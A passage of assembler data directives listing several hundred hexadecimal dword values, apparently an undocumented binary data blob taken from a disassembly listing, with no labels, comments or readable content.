		dd 6935A2F9h, 0ABE40C2h, 3C445057h, 4516707Dh, 74FC2062h
		dd 0ED002502h, 1BDF36ADh, 0AC3BCEh, 0BF4BBC71h,	0F0A7BE1h
		dd 0E673D400h, 8DC40374h, 3F0C08C3h, 4828A85Dh,	4DC29213h
		dd 0DCC1F804h, 440C4852h
		dd 28026380h, 0F8EB34D0h, 191A61D9h, 4941663Eh,	614C108Ch
		dd 180076C0h, 0AF36FEECh, 283597Bh, 648E4FFh, 0A0C03ED5h
		dd 0A448EF9Bh, 115221C4h, 80883CDAh, 0AE23C33Dh, 9AA46ECh
		dd 653C8DB6h, 0DE85DC90h, 61905C99h, 2B0C892h, 0CAD61800h
		dd 0C3BBD5E3h, 0E23802C2h, 0E1586EAFh, 14D0BC48h, 43065C99h
		dd 1149E4D4h, 46F6E8h, 0CDF734C1h, 0F8B181CEh, 9F5A03A9h
		dd 0DF59325Eh, 5F53127h, 44CC4358h, 632484D7h, 1E40DCFAh
		dd 9C1EE4Dh, 0ED2E7DBCh, 205DF4A4h, 24E4F5ACh, 40F0F6EBh
		dd 0BAA616DDh, 0E6358F1Ch, 1C00061Ch, 2243ED63h, 0ACA402FBh
		dd 8A6BD70Bh, 3E7DA083h, 64557900h, 666FAEA3h, 50370080h
		dd 3DAD9CBDh, 624F534Ch, 18AF040h, 3DDC19F1h, 0F40784D9h
		dd 45F373C4h, 0D16800FBh, 4799F618h, 0C03E209h,	0E1BC48F7h
		dd 60D70034h, 5E1667C3h, 6C393127h, 0C4AE8343h,	0D8EF9CA9h
		dd 489DF3F0h, 801D486Fh, 0E15200EEh, 8E400B03h,	95101918h
		dd 965B5328h, 392A4068h, 0CC0EE56Ah, 81A55C8Bh,	0E3D9E4A2h
		dd 4125CFFBh, 20E20C84h, 275F05Bh, 1E5960E2h, 4440788Ch
		dd 807C947Dh, 82FC5EA7h, 2E00BEBDh, 10D2600Eh, 1C907FC4h
		dd 8120A54Bh, 0ABD64384h, 11882295h, 0FD164ED4h, 0E140070Dh
		dd 406FF31Ah, 0A0681925h, 0C8171540h, 5C080030h, 0B70CAFB9h
		dd 0AE3F4ECEh, 4391E2FCh, 46B0E6C8h, 41596414h,	0AE400F52h
		dd 0F5A70430h, 848C5E3Fh, 5F4286D2h, 13B4112Ch,	35AC90FAh
		dd 9C0F7173h, 0C0372432h, 9259F90Bh, 407A5AB5h,	0D30EE324h
		dd 51009018h, 63B4C095h, 0EFE5AEh, 0D5F3785Ch, 3910EDCBh
		dd 40D6020Ah, 239160CAh, 5FE9E882h, 0A700D06Ch,	78DC320Eh
		dd 1D8F5Eh, 0D542111Fh,	954C627Ch, 0C16E7400h, 0DC4E5A24h
		dd 5FC9475h, 80AC5801h,	30C7C3Dh, 972E4498h, 6F068462h
		dd 4C81E168h, 2304900Ah, 0CC594503h, 0C600EF24h, 44DC0EEDh
		dd 4B196C97h, 576440F6h, 1B83799h, 12EFA13Ah, 0A4D0779Dh
		dd 742166h, 91ABD9BFh, 812599A4h, 86B40607h, 0A000C952h
		dd 96FCFEF2h, 92698E1Ch, 5B35C180h, 0D300F830h,	779230Fh
		dd 94027DDDh, 805068F4h, 3267AA6Dh, 9201CF4Bh, 1028E185h
		dd 64D1D744h, 696DEC50h, 3A0488DCh, 0AD96C00h, 766B84A9h
		dd 0C8890BA7h, 0B40495A2h, 4E405998h, 77C4ED2h,	11EC15FDh
		dd 0CC110EFh, 0EFB86353h, 0D432030Bh, 0FE541844h, 37F03Ah
		dd 0EE384CFCh, 0B66B39BCh, 0D413E7FEh, 0C01FD697h, 0ACDCA0A2h
		dd 5DA602F8h, 0CA69FA77h, 60F6B069h, 0B8BA401Ch, 16E3EC20h
		dd 20465A3Eh, 0FA8EDC1Ch, 70A49F54h, 60A07100h,	0E27D7876h
		dd 1DD100B3h, 19E63D61h, 0FA1A754Eh, 5330663Fh,	80BA1E74h
		dd 5EE34B08h, 170B38D6h, 0B0FB51B4h, 8095BADCh,	7C9E12D7h
		dd 0FA5D6E83h, 85911307h, 908ADCh, 47F3CAA5h, 414E53h
		dd 7C89AADEh, 4D81BB3Dh, 31914094h, 46CE0176h, 3B1DBC68h
		dd 0D46DE433h, 10ABC400h, 6B4E2E2Fh, 0EF4700DDh, 9D8AD5D2h
		dd 627C0EEEh, 1027FC94h, 0DEB208h, 0D77BB9C6h, 25514659h
		dd 0E3CBFB1Dh, 828B3A05h, 84E5CC92h, 184BE4B0h,	214D7461h
		dd 6D1A61CCh, 411B8028h, 2CAE3E86h, 4098F689h, 0B66CCB63h
		dd 810FB505h, 0B4081A01h, 84F396AFh, 0E23884C0h, 0D02C803Ch
		dd 164A0A3h, 9F585F77h,	746A3681h, 63E93EA0h, 197D0C70h
		dd 88D841E1h, 0E7041D76h, 0C4C7857Ah, 581004A1h, 538831Eh
		dd 0A3612775h, 6294D2DFh, 88075C64h, 5FA4222Eh,	7BBF56E0h
		dd 0B275FDh, 3A161B17h,	95CB35BDh, 288BCF00h, 0FE6606Ch
		dd 489F4862h, 489E5F87h, 19CC408Dh, 88926020h, 0BC0CDFA1h
		dd 0A1FA73C3h, 42C95E43h, 4817D794h, 3A44B4FAh,	517E0A34h
		dd 86F2DEh, 9DF64BADh, 0C2EA5BE8h, 96717505h, 5482F011h
		dd 5B0521Dh, 0EB273FF2h, 0DC8CC962h, 7D0F1124h,	60F0DDDEh
		dd 3C0F084Eh, 0F7E72EEFh, 7C704054h, 78004D93h,	0A073D17Bh
		dd 2665F49h, 92FEC182h,	70E4D343h, 88E8E95Dh, 9A6B4333h
		dd 5420F14Bh, 189B2BCh,	502806D3h, 487798DDh, 0B101F5DCh
		dd 0E34E0C29h, 84C40162h, 788D1EABh, 0D4C00C2Fh, 8098B9A8h
		dd 5CE1631Ch, 0F5405A07h, 0EDA662CEh, 2F94E684h, 1C900218h
		dd 0B4BCC043h, 0B08D50h, 9B1EAF11h, 9C79BA30h, 0A8EED600h
		dd 0B9525326h, 2A052887h, 0C05C94DCh, 0B21347Eh, 99274300h
		dd 5614C4A2h, 4CA100F4h, 5EEDA0F7h, 64137AC5h, 6CD0FCB3h
		dd 0FFE137h, 0C74EDAA5h, 0F636B1EDh, 8BB2D800h,	956A1EF4h
		dd 0BB422677h, 0DC0F9478h, 9A9DC7C0h, 0D8076B9Bh, 0AE076D05h
		dd 80F4D984h, 0E96400EDh, 0E014AABh, 2894D640h,	59145CACh
		dd 0BBE3C884h, 5D6F5300h, 3FD6841Ah, 0C36849C6h, 0B26A0021h
		dd 99D19530h, 413843A4h, 2CD2AA40h, 84772843h, 0C3842B0Ah
		dd 0D9112855h, 0C44A3600h, 0E5921872h, 0A3917C07h, 85F15D05h
		dd 184256C1h, 30A420E6h, 0DD255A5Bh, 0CACA0FCh,	96FDC1h
		dd 74E64083h, 0C45EEAF3h, 0EC70C9Eh, 92653FC2h,	0CBE863DCh
		dd 6C3CD157h, 72836040h, 0C8140107h, 50E10C84h,	4DC0D0C6h
		dd 586D920Ah, 16087406h, 0A3D4455Bh, 38884A6Ch,	0C98100C5h
		dd 0A566ED75h, 710EBE91h, 61A3C3C4h, 0F46C2BCAh, 723902DBh
		dd 0DFE82DAh, 97A79CE0h, 0DED3F516h, 248A8413h,	0B2565501h
		dd 0EC149B04h, 1E005A0Dh, 0D21DB892h, 90EE812Ch, 4804BA22h
		dd 84C2CCBEh, 0E8E64CDBh, 574AE44h, 0A8834BFAh,	178F2F2h
		dd 1EA282EBh, 692019BCh, 770D00DEh, 54720253h, 4F027EE5h
		dd 842123FAh, 9874FAD4h, 8DED133Ch, 2A4C3FEh, 341FA888h
		dd 9A60EC03h, 4CB76235h, 324A2C79h, 7421BD64h, 402A6905h
		dd 0E42A7344h, 0B0072F0h, 0B5192C5Ch, 91B80C5h,	0E7B17D70h
		dd 737FBC82h, 0EF43F504h, 69B99E37h, 0E8498005h, 790ECD1Ah
		dd 14595C41h, 0F725205Dh, 0D5F54848h, 552FD0F5h, 6A8CC01Ch
		dd 87AABB80h, 969C603Ch, 414E44C0h, 25F704EFh, 0D56EB850h
		dd 0FC7C13CDh, 0A68C8043h, 331DE11Ch, 0F4000755h, 0FA503BD5h
		dd 8414254Fh, 3E250844h, 215C6459h, 5E0744C1h, 0F390F9FEh
		dd 0E1C6CBh, 2992740Eh,	0C43C8999h, 0FADEF602h,	5C1DD039h
		dd 868350C8h, 3AE15500h, 0D4053CF0h, 0F30C3F74h, 0F5A62B02h
		dd 0E452FB8Bh, 53EBFF00h, 47A893B6h, 6E031E9Eh,	7AA2C4D3h
		dd 62394040h, 2C7E95F6h, 62A492B3h, 0A8820913h,	0EC84E651h
		dd 0B888523Ah, 0FB4D0025h, 6B1CACD8h, 0F500C82Dh, 2F6D9353h
		dd 0A2D359A6h, 3C44E0h,	10778EE9h, 556041Eh, 0A1A0FD00h
		dd 0A82FB562h, 0DA605C1h, 0B24A4D28h, 975C03B8h, 0E0BE1FC4h
		dd 0B94EF9Eh, 28D2F63Eh, 290024E5h, 0DFB32ED0h,	0F6CA00A9h
		dd 4E5513A3h, 0B3B87963h, 10704401h, 0F7D90DDCh, 3E01AC48h
		dd 0BC008D7Eh, 1B2A51CAh, 58B5E9F8h, 16CB1750h,	79EC3058h
		dd 6D008128h, 3166ACEAh, 0EE9AAA2Ch, 722E87Bh, 0F29098D3h
		dd 53E720D6h, 7512EF42h, 94A0C9FAh, 0AC2213EAh,	985C0867h
		dd 0F80044A2h, 77C8BA4Dh, 47A21h, 0B7A38A2Eh, 74B1537Dh
		dd 0A7D1B8C3h, 90502A6Ah, 66BB007Ch, 78289E10h,	0C9002C60h
		dd 76CAB2EBh, 10ECD0E1h, 25E730C1h, 0B044D5h, 0AA17316Dh
		dd 0B674D77Dh, 7B7D66E8h, 5B8A0701h, 267435Dh, 1202B838h
		dd 0E2CB7E9h, 0FB8968E0h, 5E03FCB1h, 8038B37Ch,	440A61Fh
		dd 938948E7h, 2FD0C0E9h
		dd 0C101F8A1h, 0E1159514h, 54359B25h, 6228E872h, 0AAD0164h
		dd 9D7280C6h, 814D4A3h,	5B3A783Dh, 0E3AE1FCh, 0E4FA2F09h
		dd 0D800A464h, 0A3895D96h, 3F250EF1h, 0AF1C03EBh, 0B929CB75h
		dd 19E13A80h, 4C000212h, 5C1B92D4h, 25E44679h, 3CC43847h
		dd 8B30F200h, 820F816Dh, 8AE7039Fh, 28FEE2E1h, 0A499387Dh
		dd 37301CB8h, 7D32E100h, 0E9B3F3Eh, 473CA2CDh, 0A6667C61h
		dd 27E1E4C1h, 0E84D4802h, 5C768294h, 56F58060h,	0D7D492C2h
		dd 0D05BF20Fh, 0DAA20007h, 5C034DC3h, 0C0C1A89Bh, 0F807336Fh
		dd 1301DE4Ch, 4E5DD5E2h, 483046D9h, 0B69C14F9h,	1100D415h
		dd 79E40A0Eh, 460212E7h, 0E1CA8660h, 808C5EFCh,	0C875BC8Ch
		dd 5405A7A3h, 7050F56Dh, 9093C4C0h, 0BC115C78h,	0A9740D00h
		dd 0D51B04D3h, 46662E00h, 0EDD05C59h, 0F9481813h, 0C7E75199h
		dd 8789403Fh, 0C98DD355h, 54FF9ED1h, 79562DD4h,	595C7129h
		dd 0AA08E48Ch, 96BCF43h, 629819E8h, 2484D80Ch, 4098FCF1h
		dd 82D24377h, 626C3E00h, 20B089BCh, 3BDB7D22h, 17FA02AAh
		dd 88BFD2E7h, 0DA7388F0h, 3E86801Fh, 0EA00819Ch, 79EE97A8h
		dd 0C86D01E1h, 3FFAF55Eh, 0C4292B43h, 0D0ECF12Bh, 2F00AC02h
		dd 0DB51D516h, 0F4185898h, 0A891F6h, 0C7066427h, 832E67ABh
		dd 0D800FF7Ch, 2B3D210Dh, 3F0512A7h, 2FFC2C59h,	0E11AAF1Eh
		dd 0BB2D240h, 18EEF24h,	0B9616244h, 0C6D3405Fh,	0E8E0B074h
		dd 0A2F677h, 0A3FD9BB4h, 0F904E341h, 3D30B095h,	0FEC80D8h
		dd 0BCCA402Eh, 9CD5D740h, 0AE593035h, 0E1F10231h, 8820955Bh
		dd 0FA9793F3h, 0A5BE009Ah, 0F4CEDC67h, 4D244699h, 0B4028F9h
		dd 0C582Bh, 0F849AD29h,	91F29275h, 0F01AD232h, 6BAC20AFh
		dd 209CF661h, 0E30F0049h, 180D81Dh, 5D0D86E9h, 412367E6h
		dd 893EF3FCh, 4869D329h, 7E17B30h, 42C9DFF8h, 2E5A7023h
		dd 0D0903A6Ah, 67C04325h, 0AC0D8E40h, 40E03752h, 9195987Ch
		dd 23737700h, 2E0BC93Dh, 1FB2032Dh, 94164CB6h, 43A4F4F4h
		dd 9FD4F307h, 1BC0AA7Dh, 4B332BF0h, 6DEC88F1h, 0EE00B078h
		dd 63E40514h, 9EA2A86h,	0E103D42Ch, 6995FC5Bh, 11D713CCh
		dd 0F86D2CD3h, 170C5E03h, 160E1BD3h, 0E021410h,	0C412D225h
		dd 792E2460h, 5E02E57Ch, 17686EDCh, 0E8A863A9h,	563C84B8h
		dd 512FBC57h, 0DCEDE090h, 0F5064000h, 4C411635h, 25D30B66h
		dd 1C440CA6h, 0F2E42900h, 0B25104A9h, 8FCF3ADBh, 8D839A4h
		dd 0EF8044C3h, 0E1FA0E03h, 0BC909726h, 0CB006272h, 0D87EB731h
		dd 11EE9311h, 1640F7E8h, 0B7008012h, 5BA4CFB7h,	0D9AA0008h
		dd 0E21C2A2h, 0D8CBF0ACh, 432004D4h, 0F8BE508Dh, 0D5FAD600h
		dd 47CCD958h, 0C568E658h, 3EA120Ch, 0E565AD9Fh,	0CA3304C8h
		dd 0E71F7309h, 7B464DFh, 0FC038A05h, 1C8E3017h,	7202833Ah
		dd 380281DCh, 482D5E7h,	8060E93Dh, 165BDDDEh, 8FD11408h
		dd 93A188C6h, 0C050AC4Eh, 98006469h, 992FEEEDh,	74135934h
		dd 224C92C6h, 0F506E4C1h, 1502DE1Ah, 31D84451h,	0DAB79B00h
		dd 0C9797EB3h, 49A70158h, 0ABF3E63Bh, 80BC7245h, 0A9A42482h
		dd 677EC3h, 8F59DB6Ch, 0F64B9023h, 91412101h, 95643592h
		dd 0D411A832h, 98CC4A57h, 44C898A7h, 0DD09E8E4h, 81D909DEh
		dd 77EBFD70h, 95259A70h, 72982D43h, 98CB303Fh, 0F97019C6h
		dd 0B00B883Dh, 0AD003555h, 3B1F1B19h, 0FDD6F800h, 299BD2C1h
		dd 805CB9BAh, 0E23A0489h, 0A65CD544h, 6F1C00CAh, 0FA5B18C8h
		dd 6DA516E3h, 0EE501D24h, 0BB084038h, 9700DD06h, 7EC99B0Dh
		dd 2C8CF2DCh, 7C0313h, 12B8FD5h, 0BFE6C61Ah, 925CC8C4h
		dd 3AFE8CCh, 991071BAh,	57A9F450h, 0C3268h, 0D3C0CA6Ah
		dd 0BE51AFh, 0E8AEC7FBh, 6D4C3930h, 0FB663F3Ah,	9ED04420h
		dd 53A06054h, 4804289Dh, 12D74D47h, 0CF8820ACh,	41271A64h
		dd 6C14D070h, 20D3812Ch, 0B04034E2h, 9C696F74h,	3780BD64h
		dd 0F03DAEBEh, 67034BFAh, 1AC16E60h, 0AC8102A3h
		db 9Bh,	0Dh, 45h
		db 0B4h
		dd 0DD7450E8h, 8861720Fh, 0CB50E140h, 48213E26h, 0FE802428h
		dd 7455DB06h, 3F04087Ah, 54119D0Bh, 54CB1084h, 44A20B75h
		dd 9B0021F9h, 60738A1Fh, 924EB98h, 6C42384Dh, 79D22253h
		dd 0F0ECE413h, 772E43A0h, 0FAC9EA00h, 0F3F18C8Ah, 0BF1809A4h
		dd 888F5EDDh, 0A8A8A6A4h, 0B7F38050h, 290F2Fh, 0A9709CEEh
		dd 4E312383h, 6900E7E0h, 0C1944414h, 988C79D5h,	0DC7A58B0h
		dd 43706C24h, 6C80C40h,	3777685Ah, 4A096166h, 42A06121h
		dd 0E8202FEDh, 660587B8h, 0AE98D5C2h, 2BD77C81h, 0DD05C432h
		dd 40B0CDh, 702F06F8h, 170346B3h, 99BEE9C6h, 53E3A058h
		dd 0C14B637Bh, 0F6F00D2Fh, 480D7FC9h, 8A7C057h,	10C9408h
		dd 0B86DE996h, 0C0666373h, 9B0CA392h, 808408CBh, 0B00E51BCh
		dd 8F05D891h, 5A883C07h, 5FA17050h, 0A600EEEAh,	33B94EF4h
		dd 44A5C2F3h, 0C3394357h, 6210C822h, 0D94A070h,	8719199h
		dd 0ECA20A8Fh, 4C31785Ch, 0D402A611h, 270018B4h, 91098693h
		dd 725ED5CBh, 68106AC3h, 9A400D98h, 88680B68h, 0AAF1C04Dh
		dd 2B006C7Dh, 3ED9ADA0h, 24B6495Eh, 2FCD3C6h, 5C87564Eh
		dd 5376A460h, 0C8FBFC25h, 1F1B464h, 0FF170F8Bh,	0D72FE420h
		dd 60DB0824h, 8B0E6385h, 936A69C0h, 23C80009h, 0DCD3D70Ch
		dd 0A95098BDh, 74F0535Ch, 0D4A4B754h, 925C7C2Ch, 9AAFFF00h
		dd 819358h, 67384150h, 9B8C8590h, 5A5BEE03h, 0C0CDF587h
		dd 1C8D363h, 0BA33140Bh, 0C46C51C3h, 9C00242Eh,	64933A7Bh
		dd 7357676Dh, 784A3C6Eh, 0DDA33C80h, 41456B11h,	1871E400h
		dd 8D31D0F4h, 85350095h, 0A71CC665h, 4D1D5C06h,	2D9DD8D9h
		dd 0B7BA6B00h, 0BCF6Dh,	56E4E51Dh, 9265D571h, 0F803A073h
		dd 0A687186Bh, 1490F97h, 6EA04599h, 7E215E2Ah, 308ACD30h
		dd 0DD235h, 0C3A7BAB9h,	6F40B550h, 8B5DC000h, 8CC282BFh
		dd 53131D21h, 4217C099h, 0B44ED6E0h, 0EF044000h, 0B7C8A67h
		dd 0ECE93CF0h, 99955B14h, 0B2BAB500h, 5A89C716h, 160E400h
		dd 0B39E0E66h, 0AA8D1865h, 0E51781DBh, 14D63B03h, 34518Ch
		dd 54090AB0h, 0EF99026Fh, 636BE203h, 8958BEh, 0C5D6F6D0h
		dd 995F9C7h, 9F692602h,	60DF1F7Bh, 0F6BE91h, 0EC440C7Dh
		dd 59F9B517h, 0B900937Eh, 0B2321DE5h, 0F3BF2428h, 8B6AFCh
		dd 9987B16Dh, 0AF44127Ah, 0AD0E4300h, 0CD5B91C6h, 88A200D2h
		dd 2295A1CEh, 7B00ECCAh, 10AF45B5h, 0E78256Ah, 35C1266h
		dd 0A64424E0h, 49C6042Eh, 0F808304Ch, 1E4600E5h, 52A0887Ch
		dd 7807BF7Fh, 38BD710Eh, 14701A47h, 1F4AE0Fh, 617F5FEAh
		dd 0F331AA54h, 58094101h, 0B7EB0777h, 1C4270F8h, 9E901FDBh
		dd 0DEAEC0CDh, 0EEF2432Ch, 94C0FEE4h, 6A5D532Ah, 0AEFCC1h
		dd 6D9246DFh, 0B639A256h, 809CD938h, 6CF0F9DDh,	0AD301Ah
		dd 44C12E14h, 347399F8h, 0EAE4000h, 0BFCA2FCFh,	0AAA50C5Ch
		dd 6BF0A06Ah, 2E792A18h, 0E0CD15E9h, 4080A042h,	1E27409Dh
		dd 503D4D04h, 378009D2h, 0FAA423h, 4C041F24h, 2E31954Bh
		dd 0DAD7E1C0h, 7A24E5Fh, 619EA3BBh, 0FC64D057h,	58DD0544h
		dd 406A80F9h, 49695390h, 0B3F43F7Ch, 3197D280h,	25307AAEh
		dd 9589E5A1h, 0E8048E11h, 5B4C1FD5h, 496700A1h,	38D6FF28h
		dd 35842603h, 0C86105A7h, 1F2F078Fh, 80E267A0h,	0AA6BC215h
		dd 0F87DC0E1h, 0E7CBC800h, 0F5112BD1h, 5E400B1h, 3920D89Bh
		dd 151CDB7Dh, 560007BAh, 0D568A0BBh, 61E400F4h,	0A98226E0h
		dd 741D972Dh, 17D1D13h,	417981Ah, 2080FB87h, 0E1ED6949h
		dd 0A07F9E2h, 9C884C02h, 34BD2080h, 0E4620054h,	1A64E3A2h
		dd 3030C3E9h, 0AA42388Eh, 0AC5B0013h, 0B23B731Fh, 993C5885h
		dd 392C80A9h, 3059FC41h, 0F4460029h, 0C7EAADC3h, 1D7DA76Bh
		dd 8F452C18h, 389BE148h, 81800BECh, 0AECCD0BCh,	6AE89489h
		dd 2A3B9CC0h, 0FFFDAE1h, 4AA2CB3h, 58E53A60h, 6A3AEC7Dh
		dd 79348EFAh, 0B2A3E5F6h, 9F1FBC00h, 40335Ch, 0C5717609h
		dd 8455028h, 2F14B30Ch,	397C40ECh, 69BCBEC4h, 569F9180h
		dd 0CF3DFDE1h, 0C8EFAB1Eh, 3E742080h, 0F11E4Dh,	8DD85F13h
		dd 0D3DBE92Eh, 4CF07E54h, 0A7B85700h, 8319467Bh, 0FD9C0909h
		dd 0DC00802Fh, 523E592Ch, 0B3318700h, 7F89AF0Bh, 1CBB00F1h
		dd 504D9612h, 0FA1873FFh, 1AA069B1h, 6E0E5CF5h,	2742A0Fh
		dd 4C656E20h, 0AD0094D9h, 3C37515Ah, 0B071B8BCh, 124D00AEh
		dd 0AE0DC9Dh, 0D5007F6Ah, 702BC4AAh, 0F85BEC7h,	7C65969Ah
		dd 0F1DC71E0h, 461FA258h, 41C32C35h, 0D27045CEh, 4EBBE0BDh
		dd 3BE20406h, 877F2392h, 3344D08Ch, 39000DE7h, 1FB50E51h
		dd 2CA37524h, 48FA2Ah, 0D9B927B0h, 0EE00979Dh, 0CBF9D589h
		dd 0A3B7B8h, 0D1803231h, 788E1AA8h, 0D59C8A00h,	25172CD6h
		dd 510A7A64h, 54E8A47Fh, 0B8807F56h, 0D7E03ECh,	2097CEBDh
		dd 273BE888h, 5B47F502h, 40E71279h, 3B9C941Ch, 1A80E946h
		dd 29DAAB96h, 0EB00DC7Dh, 68D101B5h, 1189382h, 9ED9A104h
		dd 0D4517FC4h, 0E4EBE86Ch, 0EC004D14h, 0F6EE1C40h, 0B26D68h
		dd 6F870CFCh, 0C9F1A84Fh, 245D9900h, 26969E11h,	0E97400E2h
		dd 46339CE0h, 0F80E2757h, 2086949Fh, 0ED958C15h, 4C7EE82Ch
		dd 49030036h, 62B25AB9h, 0AF152A8h, 0F42A9A1Eh,	7489E8C0h
		dd 6E2D1Eh, 53E0419h, 3C9C7985h, 0B981707h, 83916DB3h
		dd 66ED2BF3h, 98C92EECh, 7B6101AEh, 0B78BADCh, 641424DEh
		dd 0D8008A7Ah, 0FA3E63EBh, 3EDAD28h, 0B49B8EB0h, 2BD8BB78h
		dd 0A94DBF64h, 20EB014Ch, 2911D165h, 0E160C30h,	0BEF4F996h
		dd 523B0FC0h, 0A000FF62h, 4C288858h, 2EB1FBh, 22D8D178h
		dd 64759CB5h, 7C6EAF5Ch, 9497661Dh, 488B2FC1h, 79E8D7F7h
		dd 67C303F8h, 44EBAA6Ch, 0DBA0B1B0h, 0C90070ECh, 0DC3906A9h
		dd 2B4EFFh, 9DDF2785h, 2F6FF7A7h, 0B68A300h, 91151484h
		dd 0BF721D71h, 66D2804Ah, 80BEBB37h, 0C89B5F00h, 0EB514C0Dh
		dd 0A67E77h, 3F31720Fh,	4A43CF6Bh, 3002570h, 726AB1Fh
		dd 127971C9h, 3065D0D4h, 0AC68204Ch, 8800D890h,	19FF4A3Fh
		dd 43499Ch, 9EE2C2AEh, 0DC0C2E58h, 48941803h, 98A97D90h
		dd 7EDA72B8h, 0C51F2C7Bh, 80182691h, 0B12F0D36h, 349A3988h
		dd 0BAE16B01h, 4589060Bh, 76998440h, 674200C5h,	308811D4h
		dd 9B0E6B66h, 42A33EF9h, 60C27C22h, 12390E7Ch, 6E014Bh
		dd 0DA49FCC7h, 0F500C613h, 0D576E95Eh, 1FFF1Eh,	8908227h
		dd 0D454E7EDh, 122481Fh, 0BF29C047h, 7DE6E00h, 684500B3h
		dd 48317ED6h, 0E5904CB2h, 0F71440BFh, 4CEFE0Bh,	0F3EF4A24h
		dd 0EC70D067h, 0BA1BBB09h, 0E9D1124Ch, 431518Fh, 716AC8h
		dd 0C5E40CDAh, 39AFAA35h, 0EF47B800h, 221BA01h,	77C300C8h
		dd 0AD1D3456h, 0B8383ACDh, 0AC048146h, 0D8658693h, 25CCE5F5h
		dd 0C3CE0054h, 1167FAA8h, 3A003F69h, 1B94D08Fh,	98AB3B8Eh
		dd 458A00Fh, 0B9741384h, 40205C46h, 1ABC92Ch, 0DD0F506Bh
		dd 27777DBBh, 2F710CC2h, 0FC3216E3h, 0AE0B6100h, 0EB7F570h
		dd 7BEF345Ch, 4491C02Eh, 0CA8E7900h, 8D3D64h, 0F15F49D4h
		dd 53271A83h, 15A90902h, 0C04AF5A1h, 0CEF88BCh,	4E837246h
		dd 0DF001810h, 55360DCBh, 714B6D1Dh, 83680062h,	1F0AAAF5h
		dd 1605EDF2h, 326A0566h, 0CDDB7580h, 4EFB0130h,	2DD0533Eh
		dd 63F36098h, 83AE4F0Fh, 3579C1C1h, 76E0A38Dh, 4B6F0038h
		dd 0FEB3E777h, 0D4004212h
		dd 0AFA24052h, 0C0816Ah, 0C3470D6Eh, 0A35E3085h, 0EB5F8D00h
		dd 35ECE911h, 91931C5Ah, 0DC618A19h, 4D860788h,	2DD260B1h
		dd 0CB8726Ah, 0AD5C232Ch, 0F0C03F1Dh, 0B1DD4F47h, 49BC04C6h
		dd 0FA4C7184h, 6205A801h, 5AC808DAh, 0E2551D0Fh, 0F130C032h
		dd 229C6CEEh, 0AAE47E00h, 3D3AB484h, 0CF50362h,	0CC8E9110h
		dd 0E012C5A9h, 4600CE6Ch, 87C65809h, 31A20h, 7F7DD074h
		dd 701904ACh, 0BE5348h,	0AFF7F934h, 0B0EFC08h, 0F5C1ED4Ah
		dd 0C4BAB8A0h, 0DD5EE399h, 560017F8h, 7376A6B9h, 0CB006F17h
		dd 575BF684h, 3C5D89h, 7C911F8Ah, 0EE8B941Bh, 0C033A800h
		dd 0A3E6D4C6h, 0FCB7E2A2h, 0AF930186h, 9DA301Eh, 0CA0328Fh
		dd 79FBBB83h, 0C1460091h, 81FCADF4h, 0BC5CBF52h, 0EA710744h
		dd 3D416609h, 1847B428h, 240025A5h, 159A8333h, 0B908C330h
		dd 181FA571h, 8700AB3Dh, 5BA8EB65h, 68E6063Ch, 219725BEh
		dd 0CE9A9B03h, 0FA96B6h, 2D065359h, 0CF5D68D8h,	27D63A00h
		dd 3DAD5F48h, 0EDA15094h, 229900FAh, 0F5E3E24Ah, 0F800E0F0h
		dd 0F4064FCAh, 0CAE2991h, 321499C6h, 593130E0h,	77F64E96h
		dd 1766829h, 0B37CE0D6h, 0D88A02CCh, 68003EDCh,	37C53ADDh
		dd 2ACD81h, 0B754EF6Eh,	5531256Fh, 22949100h, 4A327AC9h
		dd 64F100A1h, 0C4F87661h, 0DB385DF4h, 7E5B80E0h, 98A8C6Dh
		dd 5C77039Fh, 90D24004h, 9B89A8C8h, 6D038E78h, 20D583F8h
		dd 19F90C3h, 0FD730081h, 98A86FCEh, 6700A105h, 0F5D3F69Bh
		dd 50D46559h, 90BC99h, 0D6A5FE87h, 0C3D030E4h, 45A35A00h
		dd 0F3465BC9h, 0FC1700BEh, 4B10D48Ch, 0F400872Eh, 0AF5C6B29h
		dd 835D7Eh, 6E28ABD2h, 0AD6D37C6h, 0C093D52Ah, 8A0B0204h
		dd 1CB28DC2h, 882028ADh, 0A9C78146h, 70375A8Dh,	0AA006611h
		dd 5EC3E186h, 1F09E7EFh, 87C6C401h, 110A6276h, 0F499A00Bh
		dd 7242AA1h, 9500CBB7h,	7BE51E10h, 0D90B1306h, 5A5C004Fh
		dd 0AD3487E2h, 0FE6B0A00h, 0F339CDB9h, 0B04E00D2h, 0C10B2A0h
		dd 0F000406Ah, 0BFA90342h, 6172B9h, 1F980194h, 0E537FB9Fh
		dd 23090209h, 8F2460DEh, 4CB57983h, 0C100340Ah,	31CB8EEBh
		dd 0D2007E63h, 0D489CCA7h, 437AA6h, 268206B1h, 581962Fh
		dd 69912901h, 0F1AEF43Bh, 0D834D4h, 61163D92h, 6F308226h
		dd 46301EE2h, 0B3E01062h, 2F3F06FBh, 96578AB0h,	0C277A500h
		dd 7D36DB39h, 0F382009Eh, 78BF91BAh, 2E02EF37h,	0AC35F532h
		dd 5C81E00Fh, 0CC2F00C6h, 3FA7B618h, 0D10056B5h, 2B7D044h
		dd 0E08B6080h, 0CDD900D4h, 527C3C83h, 66008D9Eh, 6465234Ch
		dd 3D97C21Ch, 0C7005AFBh, 0DB2D25F3h, 470B8221h, 0D07ACE8Eh
		dd 0F58000A5h, 33FB466Bh, 0F901DBD4h, 0F3A58C5Ah, 308FAB8Bh
		dd 83003E07h, 6F0C4B03h, 31124CB0h, 64DC5254h, 814800E1h
		dd 79CA2D67h, 424890F6h, 0F38E0018h, 0BFE0979Eh, 77E2AEh
		dd 9B0A86A2h, 0AC0B3A09h, 8A13FC00h, 50060D62h,	0B2B30024h
		dd 16284772h, 777B6A2h,	0D1BF6E00h, 0B4E7DF70h,	24A700B3h
		dd 0C7B803DBh, 22171AF2h, 0FD0937D7h, 0E20FFD80h, 0D00D3220h
		dd 0DA00F7CDh, 0D2EE54C7h, 881F9Fh, 404E3961h, 249C8E8Ah
		dd 6127252Ch, 32DEE0Bh,	0C06A59ECh, 94178051h, 529A00F4h
		dd 46F407A8h, 6FFAE5FAh, 0DEC6F900h, 0FEE6F520h, 0A15512DBh
		dd 6E9CC819h, 67AE2D00h, 0A64D73B5h, 1E1B03CDh,	1963A8D3h
		dd 50755400h, 0B2FB7630h, 0AF791D11h, 0AD41000Ch, 262D1E72h
		dd 0C55FE414h, 0D6D4008Eh, 9875E01Dh, 4794008Dh, 0BD66B219h
		dd 8200DC4Ah, 9A34DF7h,	4995DBD5h, 971DC54h, 4E8B6E78h
